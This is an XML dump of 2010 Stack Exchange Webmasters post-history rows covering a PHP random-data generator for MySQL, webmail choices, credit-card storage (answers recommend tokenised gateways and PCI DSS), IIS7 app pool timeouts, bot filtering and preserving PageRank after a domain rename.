  <row Id="6631" PostHistoryTypeId="2" PostId="3378" RevisionGUID="161669d7-9b67-498a-a3d1-bfb102414379" CreationDate="2010-09-29T11:19:16.910" UserId="1064" Text="If you really want to spend that kind of time downloading, here's a link to the [Wikipedia dumps][1] - &quot;WARNING: 6.07 GB compressed, approximately 27 GB uncompressed as of 2010-09-20&quot; (and you'll still have *only* 3,428,557 articles)&#xD;&#xA;&#xD;&#xA;Here's a quick PHP script that'll make one for you (just create an empty DB, temporarily grant the `$db_user` CREATE + INSERT privileges, and populate the configuration variables in the script):&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    &#xD;&#xA;    $db_host = '127.0.0.1';&#xD;&#xA;    $db_name = 'testing';&#xD;&#xA;    &#xD;&#xA;    $db_user = 'root';&#xD;&#xA;    $db_pass = '';&#xD;&#xA;    &#xD;&#xA;    $entries = 10000000;&#xD;&#xA;    $entry_words_min = 250;&#xD;&#xA;    $entry_words_max = 1000;&#xD;&#xA;    &#xD;&#xA;    /*&#xD;&#xA;      End configuration&#xD;&#xA;    */&#xD;&#xA;    &#xD;&#xA;    function get_rand_word( $len_min, $len_max ) {&#xD;&#xA;    	for ( $i = 0; $i &lt; ( rand( 0, $len_max - $len_min ) + $len_min ); $i++ ) {&#xD;&#xA;    		$word .= chr(rand(65, 90));&#xD;&#xA;    	}&#xD;&#xA;    	return $word;&#xD;&#xA;    }&#xD;&#xA;    function get_title() {&#xD;&#xA;    	for ( $i = 0; $i &lt; ( rand( 4, 10 ) ); $i++ ) {&#xD;&#xA;    		$title .= get_rand_word( 2, 9 ) . ' ';&#xD;&#xA;    	}&#xD;&#xA;    	return $title;&#xD;&#xA;    }&#xD;&#xA;    function get_fulltext() {&#xD;&#xA;    	for ( $i = 0; $i &lt; ( rand( 250, 500 ) ); $i++ ) {&#xD;&#xA;    		$fulltext .= get_rand_word( 2, 9 ) . ' ';&#xD;&#xA;    	}&#xD;&#xA;    	return $fulltext;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    $dsn = 'mysql:dbname=' . $db_name . ';host=' . $db_host;&#xD;&#xA;    &#xD;&#xA;    try {&#xD;&#xA;        $dbh = new PDO($dsn, $db_user, $db_password);&#xD;&#xA;    } catch (PDOException $e) {&#xD;&#xA;        echo 'Connection failed: ' . $e-&gt;getMessage();&#xD;&#xA;    	die();&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    $dbh-&gt;query('CREATE TABLE IF NOT EXISTS `sphinx` (&#xD;&#xA;      `id` int(10) unsigned NOT NULL auto_increment,&#xD;&#xA;      `title` varchar(150) collate utf8_bin NOT NULL,&#xD;&#xA;      `fulltext` text collate utf8_bin NOT NULL,&#xD;&#xA;      PRIMARY KEY  (`id`)&#xD;&#xA;    ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_bin');&#xD;&#xA;    &#xD;&#xA;    $sth = $dbh-&gt;prepare('INSERT INTO `sphinx` (`title`,`fulltext`) VALUES (:title, :fulltext)');&#xD;&#xA;    &#xD;&#xA;    $counter = 0;&#xD;&#xA;    for ( $i = 0; $i &lt; $entries; $i++ ) {&#xD;&#xA;    	$sth-&gt;execute(array(&#xD;&#xA;    		':title' =&gt; get_title(),&#xD;&#xA;    		':fulltext' =&gt; get_fulltext()&#xD;&#xA;    	));&#xD;&#xA;    	$counter++;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    echo $counter . ' rows inserted';&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;**Note:** You'll probably need to change your PHP environment configuration or tweak the number of entries to run this script...&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Wikipedia:Database_download" />
  <row Id="6632" PostHistoryTypeId="2" PostId="3379" RevisionGUID="fc9c0bbd-6165-4e28-b38e-45a2a650ac08" CreationDate="2010-09-29T12:07:45.837" UserId="1857" Text="In addition to [danlefree's excellent answer][1], **you can find all text [on the Stack Overflow network here][2]**. If you are using an MSSQL server this dataset might be easier to import (since Stack Overflow uses MSSQL).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3377/large-huge-example-databases-sql-files-to-download-on-the-web/3378#3378&#xD;&#xA;  [2]: http://blog.stackoverflow.com/category/cc-wiki-dump/" />
  <row Id="6633" PostHistoryTypeId="2" PostId="3380" RevisionGUID="aefc60d4-b93a-4af3-af70-f9c82fbc71b8" CreationDate="2010-09-29T14:10:00.740" UserId="233" Text="I often use [GenerateData.com][1], which has lots of data types you can use and can generate SQL code as well as CSV etc. Don't know how well (or if) it would handle millions of rows, though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.generatedata.com/" />
  <row Id="6634" PostHistoryTypeId="2" PostId="3381" RevisionGUID="a32ebee1-6895-4490-8233-dcd2e8131fe2" CreationDate="2010-09-29T14:20:26.673" UserId="233" Text="I think the infolinks advertising could be the main problem. Regardless of Adsense I would personally stay away from using those because they are annoying and put people off the site. Everything else looks OK to me.&#xD;&#xA;&#xD;&#xA;[This article][1] lists some &quot;unofficial rules&quot; for Adsense so check you're not violating any of those.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adsensehowtos.com/learn/google-adsense-qualify.html" />
  <row Id="6636" PostHistoryTypeId="2" PostId="3382" RevisionGUID="f1d32291-11ad-4e6b-9719-02b746466005" CreationDate="2010-09-29T14:41:19.713" UserId="233" Text="First, some clarification: YouTube videos **are** Flash. Adobe Flash is the technology used to play video on YouTube and most other sites.&#xD;&#xA;&#xD;&#xA;Now for SEO, it depends on what your aims are. Do you only want users to see the video, or do you want them to come to your web site as well?&#xD;&#xA;&#xD;&#xA;If it's a video promoting your company or web site, then YouTube is a great way to go. You can set up your own branded channel, and get plenty of eyeballs on your content. Your videos have a higher chance of appearing in Google search results. One downside is that anyone can embed the video on their own site, bypassing both your site and your YouTube channel (if that's a problem).&#xD;&#xA;&#xD;&#xA;On the other hand, if you want to be more like a CollegeHumor type of site, where your business is posting interesting or funny videos, perhaps self-hosting is the best way. The main drawback of self-hosting is bandwidth but you can probably get a reasonable price using a Content Delivery Network. &#xD;&#xA;&#xD;&#xA;Another advantage of using your own site is that you can create a good page surrounding the video with plenty of (non-YouTube) content, which can aid SEO. You can get your video to appear in search results with [video sitemaps][1].&#xD;&#xA;&#xD;&#xA;You can still use YouTube as well - it can be a great method for additional promotion and to get more visitors to click through to your web site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=80472" />
  <row Id="6637" PostHistoryTypeId="2" PostId="3383" RevisionGUID="98fd0b61-587a-470d-82d8-e3bf2abf2fbd" CreationDate="2010-09-29T16:04:14.747" UserId="42" Text="I use Able, and am very pleased with it.  The CommerceBuilder architecture allows you to easily create and implement your own UserControls if you're into that sort of thing.  &#xD;&#xA;&#xD;&#xA;As far as the SEO aspect goes, Able sites use a keyword rich product URL which is nice, and you also have the ability to specify a canonical URL.  One thing to note is that the URL rewrite uses the product name, so if you change the name that could present an issue, especially with well indexed urls.  Though, with Able, there is also a tutorial on how to implement your own URL rewrite scheme, so you can always change it if it doesn't suit your needs." />
  <row Id="6638" PostHistoryTypeId="2" PostId="3384" RevisionGUID="69fe6f77-5e65-41ab-bbb5-587f915f4cf6" CreationDate="2010-09-29T18:41:02.083" UserId="1348" Text="I'm trying to find a Webmail that I can install on my Web Host (the host had PHP and MySQL, no access to apache config or php.ini except by .htaccess and some configs in local php.ini file).&#xD;&#xA;&#xD;&#xA;I'm currently redirecting my emails to gmail but I want to stay more in control of my things. So I'm looking for something like gmail, OpenSource with a good community behind it for security fixes and update, that can be installed on my Web Host. I found something interesting (http://www.zimbra.com/downloads/os-downloads.html) but I need to install the app on the Linux server and it seems to be more than just a simple PHP application.&#xD;&#xA;&#xD;&#xA;I don't even know if what I'm looking for is technically possible and if it exists. Any suggestion is welcome!" />
  <row Id="6639" PostHistoryTypeId="1" PostId="3384" RevisionGUID="69fe6f77-5e65-41ab-bbb5-587f915f4cf6" CreationDate="2010-09-29T18:41:02.083" UserId="1348" Text="Looking for a PHP Webmail that can be installed on a standard hosting plan?" />
  <row Id="6640" PostHistoryTypeId="3" PostId="3384" RevisionGUID="69fe6f77-5e65-41ab-bbb5-587f915f4cf6" CreationDate="2010-09-29T18:41:02.083" UserId="1348" Text="&lt;email&gt;" />
  <row Id="6641" PostHistoryTypeId="2" PostId="3385" RevisionGUID="ae4e0d75-fa7d-4c97-a1da-64560921ad82" CreationDate="2010-09-29T18:47:48.903" UserId="67" Text="&quot;redirecting my emails to gmail&quot;&#xD;&#xA;&#xD;&#xA;Have you tried using google apps? They can handle all of your email, and you can configure everything you need. My company hosts all of their email on Google Apps, and it saves a TON of configuration nightmares. As an added plus, you get all of the other apps also.&#xD;&#xA;&#xD;&#xA;Google basically gives you your own custom Gmail, with all of the backend controls you might want." />
  <row Id="6642" PostHistoryTypeId="2" PostId="3386" RevisionGUID="988ee186-0103-4316-9993-3f8c400760f1" CreationDate="2010-09-29T19:11:17.360" UserId="1074" Text="One of the most feature rich email server solutions that I've ever used was called atmail.  It's basically an exchange replacement done on a php/mysql platform.  If you do all the add-ons, it gives you calendar sync, webmail, active sync, etc.  With all those features, though, it's not free.  &#xD;&#xA;&#xD;&#xA;What I tell most of my clients is that if they're not going with one of the big guys (MSN, Gmail) or a hosted solution like AppRiver, to consider just getting a cheap email account from a provider like HostGator or GoDaddy.  They're simple to administer, cheap, and do all you'd ever need basic email to do.  They do IMAP, webmail, POP, forwarding, lists, etc.  Most of the time, it's all included in the cost of hosting.  No software to install and few configurations required.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6643" PostHistoryTypeId="2" PostId="3387" RevisionGUID="fc0de1b8-2664-43e4-aeef-24cd0674f474" CreationDate="2010-09-29T19:26:56.520" UserId="1253" Text="[Roundcube][1] should meet your requirements. As should [squirrelmail][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://roundcube.net/&#xD;&#xA;  [2]: http://squirrelmail.org/" />
  <row Id="6644" PostHistoryTypeId="2" PostId="3388" RevisionGUID="e0f2161b-e679-404a-9efe-cb36829361d0" CreationDate="2010-09-29T20:35:09.127" UserDisplayName="emma" Text="How do i make it so that my friends can visit my localhost by typing in my ip adress in the url? im using XAMPP what steps do i need to take etc. " />
  <row Id="6645" PostHistoryTypeId="1" PostId="3388" RevisionGUID="e0f2161b-e679-404a-9efe-cb36829361d0" CreationDate="2010-09-29T20:35:09.127" UserDisplayName="emma" Text="how can i let my friends visit my webserver?" />
  <row Id="6646" PostHistoryTypeId="3" PostId="3388" RevisionGUID="e0f2161b-e679-404a-9efe-cb36829361d0" CreationDate="2010-09-29T20:35:09.127" UserDisplayName="emma" Text="&lt;apache&gt;" />
  <row Id="6647" PostHistoryTypeId="2" PostId="3389" RevisionGUID="8141305a-5d5e-4aeb-8e91-8fb2078e8af9" CreationDate="2010-09-29T20:49:03.580" UserId="1253" Text="[StackOverflow addressed in detail][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/822902/access-xampp-localhost-from-internet" />
  <row Id="6648" PostHistoryTypeId="2" PostId="3390" RevisionGUID="82d5d90d-004b-4e81-9fa4-d75accb2815d" CreationDate="2010-09-29T21:17:11.183" UserId="2118" Text="I'm trying to setup a basic system on my site to accept credit cards for delayed processing.  What I will be doing is collecting a bunch of orders/credit cards for a group of people, then after a certain period I will need to process those cards and make the charge.&#xD;&#xA;&#xD;&#xA;This is so that a group of people can individually place their order knowing that their card will be processed in X number of days once everyone has placed their order from the group.&#xD;&#xA;&#xD;&#xA;My question is what would be the best way to go about doing this?  I want to ensure I am accepting Visa/Master Card/American Express and possibly Discover Card.  Also, with this system would it be possible to accept Pay Pal information so that I could then process that instead of a credit card for their Pay Pal account?&#xD;&#xA;&#xD;&#xA;Also, what is the best way to store these credit cards.  Obviously a secure DB and a page that uses SSL for submitting their order, but what all do I need to accept?  Obviously card number, CVV, Expiration Month, Expiration Year, can this all be normalized in a database.  And what would you recommend for encrypting/decrypting these cards?  I will need to decrypt them for processing later on.&#xD;&#xA;&#xD;&#xA;Any advice on any of my questions would be great. " />
  <row Id="6649" PostHistoryTypeId="1" PostId="3390" RevisionGUID="82d5d90d-004b-4e81-9fa4-d75accb2815d" CreationDate="2010-09-29T21:17:11.183" UserId="2118" Text="Accept Credit Cards / PayPal on Website for Delayed Processing" />
  <row Id="6650" PostHistoryTypeId="3" PostId="3390" RevisionGUID="82d5d90d-004b-4e81-9fa4-d75accb2815d" CreationDate="2010-09-29T21:17:11.183" UserId="2118" Text="&lt;payments&gt;&lt;database&gt;&lt;paypal&gt;&lt;creditcard&gt;" />
  <row Id="6651" PostHistoryTypeId="2" PostId="3391" RevisionGUID="44efebda-3886-44f1-9b20-00e3f982cf2d" CreationDate="2010-09-29T21:49:02.183" UserId="1979" Text="The short answer on storing credit card details: DON'T&#xD;&#xA;&#xD;&#xA;See http://webmasters.stackexchange.com/questions/1017/storing-credit-card-details for a good discussion." />
  <row Id="6652" PostHistoryTypeId="2" PostId="3392" RevisionGUID="6d6df530-2aaf-4582-beb1-5e2fafd417e8" CreationDate="2010-09-29T21:52:48.447" UserId="1426" Text="Avoid storing credit card data if at all possible. There are a whole load of legal issues surrounding it (e.g. there is almost no situation in which you can store the CVV), and you open yourself up to liability if your site ever gets hacked.&#xD;&#xA;&#xD;&#xA;I think I've seen payment gateways that offer a kind of authorise-now-pay-later feature, where you submit the card details and amount to them and they send back a unique token that you can safely store. You then resubmit this token to them at a later date to perform the transaction. This way you can still offer your delayed payment but without having to store any sensitive data yourself. I would suggest investigating some gateways to see if they offer this kind of service.&#xD;&#xA;&#xD;&#xA;If you do decide to go down the store-it-yourself route, to start with you should familiarise yourself with &lt;a href=&quot;http://en.wikipedia.org/wiki/PCI_DSS&quot;&gt;PCI DSS&lt;/a&gt; which is the standard for storing credit card data. You will also need to check with your host to ensure they are PCI compliant (i.e. they have the necessary levels of physical security protecting the server(s) where this data will be stored)." />
  <row Id="6653" PostHistoryTypeId="5" PostId="3392" RevisionGUID="b1219c8a-6870-4c2d-bdd4-3be4ccf02a6d" CreationDate="2010-09-29T22:04:14.310" UserId="1426" Comment="edited for clarity" Text="Avoid storing credit card data if at all possible. There are a whole load of legal issues surrounding it (e.g. there is almost no situation in which you can store the CVV), and you open yourself up to liability if your site ever gets hacked.&#xD;&#xA;&#xD;&#xA;If you _have_ to go down this route, to start with you should familiarise yourself with &lt;a href=&quot;http://en.wikipedia.org/wiki/PCI_DSS&quot;&gt;PCI DSS&lt;/a&gt;, which is the standard for storing card data (and a legal requirement here in the UK at least). You will also need to check with your host to ensure they are PCI compliant (i.e. they have the necessary levels of physical security protecting the servers where this data will be stored).&#xD;&#xA;&#xD;&#xA;Some payment gateways offer a kind of authorise-now-pay-later feature, where you submit the card details and amount to them and they send back a unique token that you can safely store. You then resubmit this token at a later date if and when you want to perform the transaction. This way you can still offer your delayed payment but without having to store any sensitive data yourself, so this is what I'd recommend looking into.&#xD;&#xA;&#xD;&#xA;**Edit**: I believe Authorize.net is a big US gateway - with their 'Advanced Integration' API they have an Authorization only mode which does what I describe above, although the token only lasts for a maximum of 30 days. So perhaps this might work for you.&#xD;&#xA;" />
  <row Id="6654" PostHistoryTypeId="2" PostId="3393" RevisionGUID="907105cc-bf66-4351-82eb-d8717f2ac373" CreationDate="2010-09-29T22:32:31.903" UserId="1074" Text="Here's the problem with doing something like this.  You can't charge the person's card up front...so you &lt;&lt;somehow&gt;&gt; hold onto it...maybe by an authorization, maybe via using a card company to do a save, but definitely not on your own server....anyways, the person goes to finalize the purchase days later and just happened to buy a new PC, which wipes their credit limit down to $5.  Now what?  They're $95 short of a hypothetical $100 purchase that the system allowed them to make several days ago.  Not a good UI event.&#xD;&#xA;&#xD;&#xA;My company deals with re-bills on a daily basis.  They stink.  Both from a programming side of things and customer service standpoint.  I can't tell you how many times we've heard &quot;I didn't authorize that...&quot;  Oh, but the fine print says you did!&#xD;&#xA;&#xD;&#xA;PayPal could work for this delayed method.  But from so many different points of view, I wouldn't touch a delayed transaction with a payment processor like PayFlow. " />
  <row Id="6655" PostHistoryTypeId="2" PostId="3394" RevisionGUID="03104d6c-7f67-4ba5-a353-ad45b55f7a0d" CreationDate="2010-09-29T22:50:41.390" UserId="2119" Text="On IIS6, there is a checkbox for this. On IIS7 there isn't. When the App Pool reaches its idle time, it stops. The restart is automatic, when the app is used again, however it takes 1-4 seconds to start up. This is not desirable, nor it is necessary." />
  <row Id="6656" PostHistoryTypeId="1" PostId="3394" RevisionGUID="03104d6c-7f67-4ba5-a353-ad45b55f7a0d" CreationDate="2010-09-29T22:50:41.390" UserId="2119" Text="How to disable application pool timeout on IIS7?" />
  <row Id="6657" PostHistoryTypeId="3" PostId="3394" RevisionGUID="03104d6c-7f67-4ba5-a353-ad45b55f7a0d" CreationDate="2010-09-29T22:50:41.390" UserId="2119" Text="&lt;iis7&gt;" />
  <row Id="6658" PostHistoryTypeId="2" PostId="3395" RevisionGUID="03d52b45-5976-42aa-8274-9d61a371e24a" CreationDate="2010-09-29T22:52:40.260" UserId="1253" Text="Use a service like [Authorize.Net's Customer Information Manager][1]. It is designed to do exactly what you want. It stores the credit card information for you as a customer profile. You then refer to that profile to make future purchases without needing the customer's credit card information again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.authorize.net/solutions/merchantsolutions/merchantservices/cim/" />
  <row Id="6659" PostHistoryTypeId="5" PostId="3210" RevisionGUID="edf7e25f-5a3f-4503-a8d2-5dc36f6b70b3" CreationDate="2010-09-29T22:53:48.210" UserId="1160" Comment="added 221 characters in body" Text="I have been getting quite a few hits on my webservers for the resource `/USH.HTML`. I have never hosted this file, and do not know what it is. &#xD;&#xA;&#xD;&#xA;Is this a type of `robots.txt` file or something specific to a certain CMS?&#xD;&#xA;&#xD;&#xA;***UPDATE***&#xD;&#xA;&#xD;&#xA;I found out the answer, and it is a similar Japanese website that has a domain very similar to ours, but with a hyphen in the name instead. I guess all the 404s are due to a typo on the referring link." />
  <row Id="6660" PostHistoryTypeId="2" PostId="3396" RevisionGUID="48539c0d-1800-47fc-a8be-e1a419a54ed6" CreationDate="2010-09-29T22:56:17.930" UserId="2119" Text="Apparently setting the timeout to 0 disables it: http://forums.iis.net/t/1148433.aspx" />
  <row Id="6661" PostHistoryTypeId="2" PostId="3397" RevisionGUID="01bf3a79-4ce4-479b-acb2-c1a9525fd1e9" CreationDate="2010-09-29T23:02:03.263" UserId="1160" Text="I have been working more on the bot filter for my website, but by no means is it complete. &#xD;&#xA;&#xD;&#xA;So far I have the main ones:&#xD;&#xA;&#xD;&#xA;Google,&#xD;&#xA;Yahoo, &#xD;&#xA;MSN,&#xD;&#xA;Baidu,&#xD;&#xA;Amazon,&#xD;&#xA;and a few others...&#xD;&#xA;&#xD;&#xA;Right now, I am using a filter to compare the referral URL, existing domain, and known browsers vs. non-browser useragents.&#xD;&#xA;&#xD;&#xA;Are there any other good techniques to detect if the hit is coming from a bot or not?" />
  <row Id="6662" PostHistoryTypeId="1" PostId="3397" RevisionGUID="01bf3a79-4ce4-479b-acb2-c1a9525fd1e9" CreationDate="2010-09-29T23:02:03.263" UserId="1160" Text="Is there a good way to filter all the robots and domains they are on?" />
  <row Id="6663" PostHistoryTypeId="3" PostId="3397" RevisionGUID="01bf3a79-4ce4-479b-acb2-c1a9525fd1e9" CreationDate="2010-09-29T23:02:03.263" UserId="1160" Text="&lt;logging&gt;&lt;robots&gt;&lt;spider&gt;" />
  <row Id="6664" PostHistoryTypeId="2" PostId="3398" RevisionGUID="cc0c1507-ec91-4a48-aec0-5d78fa619aab" CreationDate="2010-09-29T23:51:40.910" UserId="2120" Text="Is there an ideal CMS for making a review site? By review site, I mean like a restaurant review site where you have each entry belonging to different major categories like Cuisine and City. Then users can browse and filter by each or by combination (Chinese Food in Los Angeles, with suggestions of other Chinese restaurants in LA, etc). Furthermore, I'd want it to support other fields like price, parking, kid-friendliness, etc. And to have users be able to filter by those criteria.&#xD;&#xA;&#xD;&#xA;I've been told that with a combination of custom taxonomies, plug-ins and many clever little queries, that Wordpress 3.x can handle this. But I'm having a heck of a time with it getting into the nitty gritty, and that's where I find the community support is lacking. The sort of stuff you'd think would work in WP, like making one parent category for Cuisine and one for City, don't really work once you get further in and start trying to pull it all together. Then you find these blog posts where people say, &quot;This example shows that one could create a huge movie review site using custom taxonomies...&quot; but when you go and try it you hit all sorts of challenges and oddities that point a big long finger at Wordpress being in fact a blogging platform. The best I came up with was one category for the cuisine and one tag for the city, then I created a couple of custom tag-like taxonomies for the other features. It's quite a mess to try to figure out how to assemble all of that into a natural, intuitive site. I expect a few versions down the road WP will be able to do these sorts of sites out of the box.&#xD;&#xA;&#xD;&#xA;So I thought I'd take a step back before I run back into the Wordpress fray and find out if maybe there is another platform better suited to this sort of relational content site. Directory scripts in some ways offer many of the features I'm looking for, but I need something more flexible and, hopefully, interactive (comments, reviews). I'm especially looking for feedback from people who've crafted sites like this. Thanks!" />
  <row Id="6665" PostHistoryTypeId="1" PostId="3398" RevisionGUID="cc0c1507-ec91-4a48-aec0-5d78fa619aab" CreationDate="2010-09-29T23:51:40.910" UserId="2120" Text="Best CMS for review-type sites" />
  <row Id="6666" PostHistoryTypeId="3" PostId="3398" RevisionGUID="cc0c1507-ec91-4a48-aec0-5d78fa619aab" CreationDate="2010-09-29T23:51:40.910" UserId="2120" Text="&lt;wordpress&gt;&lt;cms&gt;" />
  <row Id="6667" PostHistoryTypeId="2" PostId="3399" RevisionGUID="3c39864f-7d58-4fd5-89ff-ed5f41f3b165" CreationDate="2010-09-30T01:06:59.243" UserId="2" Text="As part of graduating from Area51 and becoming a full fledged site we will be renaming  http://webapps.stackexchange.com to http://nothingtoinstall.com. Aside from the obvious 301 redirect rules to support existing urls transparently, are there other techniques that would aid in the preservation of PageRank?&#xD;&#xA;" />
  <row Id="6668" PostHistoryTypeId="1" PostId="3399" RevisionGUID="3c39864f-7d58-4fd5-89ff-ed5f41f3b165" CreationDate="2010-09-30T01:06:59.243" UserId="2" Text="Renaming a domain and preserving PageRank" />
  <row Id="6669" PostHistoryTypeId="3" PostId="3399" RevisionGUID="3c39864f-7d58-4fd5-89ff-ed5f41f3b165" CreationDate="2010-09-30T01:06:59.243" UserId="2" Text="&lt;seo&gt;&lt;domains&gt;&lt;pagerank&gt;" />
  <row Id="6670" PostHistoryTypeId="2" PostId="3400" RevisionGUID="3513cef6-0323-4058-adf9-4833dfbf5439" CreationDate="2010-09-30T01:21:06.657" UserId="1979" Text="Check out Google's guide to moving a site: http://www.google.com/support/webmasters/bin/answer.py?answer=83105&amp;hl=en&#xD;&#xA;&#xD;&#xA;Esp. the Change of Address tool might be of interest." />
  <row Id="6671" PostHistoryTypeId="2" PostId="3401" RevisionGUID="2a0fd994-ffb5-4270-8146-e996a86ae4cc" CreationDate="2010-09-30T01:58:17.457" UserId="1456" Text="I'm sure this is covered in the google doc that jmb referenced, but:&#xD;&#xA;&#xD;&#xA; - Tell google your site has moved using Google Webmaster Central &#xD;&#xA; - Set something up on the old site to return a 301 redirect for EVERY individual url on the old site to the corresponding url on the new site, I imagine this would be some effort but would probably also be the most effective" />
  <row Id="6672" PostHistoryTypeId="12" PostId="3401" RevisionGUID="313d83de-d0ce-4fa6-abaf-c84cd744a7b8" CreationDate="2010-09-30T01:59:02.013" UserId="1456" Text="[{&quot;Id&quot;:1456,&quot;DisplayName&quot;:&quot;Alex Black&quot;}]" />
  <row Id="6673" PostHistoryTypeId="2" PostId="3402" RevisionGUID="5e102eaa-6a64-4b5f-bacb-eb3e8eb9a6f8" CreationDate="2010-09-30T02:15:05.993" UserId="1847" Text="I didn't read the link above, but no doubt that http 301 &quot;permanent&quot; redirects will be important to preserving both bookmarks and redirects." />
  <row Id="6674" PostHistoryTypeId="2" PostId="3403" RevisionGUID="4893ede0-45ab-4ccf-9a8a-3c32a41604de" CreationDate="2010-09-30T02:21:22.237" UserId="1064" Text="&gt; Are there any other good techniques to&#xD;&#xA;&gt; detect if the hit is coming from a bot&#xD;&#xA;&gt; or not?&#xD;&#xA;&#xD;&#xA;It depends upon which variety of bot you're hunting - here are a few tips for isolating malicious bots:&#xD;&#xA;&#xD;&#xA; - Look for hits on non-existent (or&#xD;&#xA;   restricted access) administrative&#xD;&#xA;   scripts, e-mail scripts, et cetera&#xD;&#xA; - Look for nearly-instantaneous&#xD;&#xA;   retrieval of your site content&#xD;&#xA; - Look for repeated hits on your feeds&#xD;&#xA;   (particularly if you know that your&#xD;&#xA;   content is being used on scraper&#xD;&#xA;   sites)&#xD;&#xA;&#xD;&#xA;You might also check out [user-agent.org][1] for some of the more obscure search bot agents you can expect to see and review the [Where can I find a list of search engine crawler user agents and their domain names?][2] thread started by Dev a few days ago.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.user-agents.org/&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/3264/where-can-i-find-a-list-of-search-engine-crawler-user-agents-and-their-domain-nam/" />
  <row Id="6675" PostHistoryTypeId="13" PostId="3401" RevisionGUID="8879ffab-4558-40b7-bc5c-b42c61038813" CreationDate="2010-09-30T03:24:48.850" UserId="3" Text="[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="6676" PostHistoryTypeId="5" PostId="3400" RevisionGUID="d730bdb5-9ba3-4018-8f6e-1da3388f66dd" CreationDate="2010-09-30T03:30:58.390" UserId="3" Comment="added 1361 characters in body; added 16 characters in body" Text="Check out [Google's guide to moving a site][goog]: &#xD;&#xA;&#xD;&#xA;&gt; - Use a [301 Redirect][301] to permanently redirect all pages on your old site to your new site.&#xD;&#xA;&gt; - Check both [external][ext] and [internal][int] links to pages on your site and make sure they are updated to point to the new domain (obviously, for external links this is difficult)&#xD;&#xA;&gt; - Use the [Change of Address tool][coa] in Webmaster Tools to notify Google of your site's move.&#xD;&#xA;&gt; - We recommend that you create and submit a [Sitemap][sitemap] listing the URLs on your new site.&#xD;&#xA;&#xD;&#xA;After the move, sanity checks to make sure things are working:&#xD;&#xA;&#xD;&#xA;&gt; - Check the web crawl errors for both your old and new sites, to make sure that the 301 redirects from the old site are working properly, and that the new site isn't showing unwanted 404 errors.&#xD;&#xA;&gt; - If you've submitted a Sitemap, the [Sitemap Details page][sdp] lets you see how many URLs in your Sitemap we've crawled and indexed.&#xD;&#xA;&#xD;&#xA;Esp. the Change of Address tool might be of interest.&#xD;&#xA;&#xD;&#xA;[goog]: http://www.google.com/support/webmasters/bin/answer.py?answer=83105&amp;hl=en&#xD;&#xA;[301]: http://www.google.com/support/webmasters/bin/answer.py?answer=93633&#xD;&#xA;[ext]: http://www.google.com/support/webmasters/bin/answer.py?answer=55281&#xD;&#xA;[int]: http://www.google.com/support/webmasters/bin/answer.py?answer=138752&#xD;&#xA;[coa]: http://www.google.com/support/webmasters/bin/answer.py?answer=83106&#xD;&#xA;[sitemap]: http://www.google.com/support/webmasters/bin/answer.py?answer=156184&#xD;&#xA;[sdp]: http://www.google.com/support/webmasters/bin/answer.py?answer=78808" />
  <row Id="6677" PostHistoryTypeId="5" PostId="3085" RevisionGUID="b5f75864-abcf-49ee-9e16-15dac39cdab4" CreationDate="2010-09-30T05:13:35.110" UserId="480" Comment="edited body" Text="Use a .extension where there is more than one representation or where the client software is absolutely stupid and refuses to accept the Content-Type alone (QuickTime, RealPlayer, Outlook, etc I am looking at you):&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory` - this can be your auto-negotiation version that uses Canonical META tags to point to the actual representation&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/` - it is always worth supporting trailing slashes on any URL but using Canonical META tags (not redirects as this is an unnecessary slow down) to point to the correct URL&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.htm` and `http://www.somesite.com/subdirectory/some-relevant-keywords.htm` - the three character extension limit doesn't apply to HTTP (only the underlying FileSystem/OS) so the client can save this as index.html or a.a if they wanted to, whilst still being able to access it&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.html` - if you serve a .atom, a .xml or similar version then it makes sense to also honour the .html version (and Canonically link to it via LINK tags on the auto-negotiated version) - use HTTP Content-Location headers to point to the auto-negotiation version though - remember you can also go multi-lingual (.en, .es, etc...) or multi-charset (.utf8, .utf16, etc...)&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php` and `http://www.somesite.com/subdirectory/index.asp` - unless you are serving the source code then these make no sense to support&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/some-relevant-keywords` - SEO is a constantly changing art and if this works for you then great&#xD;&#xA;&#xD;&#xA;* `http://www.somesite.com/subdirectory/index.php?page=some-relevant-keywords`, &#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords` and&#xD;&#xA;`http://www.somesite.com/subdirectory/?page=some-relevant-keywords&amp;even=more-keywords` - if there are an infinite number of ways to manipulate the content then this is great - but usually pages deserve their own URL not a query string and these type of URLs are to be avoided (try getting someone computer illiterate to type one of those in)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6678" PostHistoryTypeId="2" PostId="3404" RevisionGUID="621b4a09-2f82-44ea-8525-396a09e896df" CreationDate="2010-09-30T05:43:44.290" UserId="2026" Text="I am very thanks ful to google webbmaster since it suggested me many of the pages which were causing 404. &#xD;&#xA;&#xD;&#xA;But i am surprised why were this information still being shown even after one week of repairing the page links.&#xD;&#xA;" />
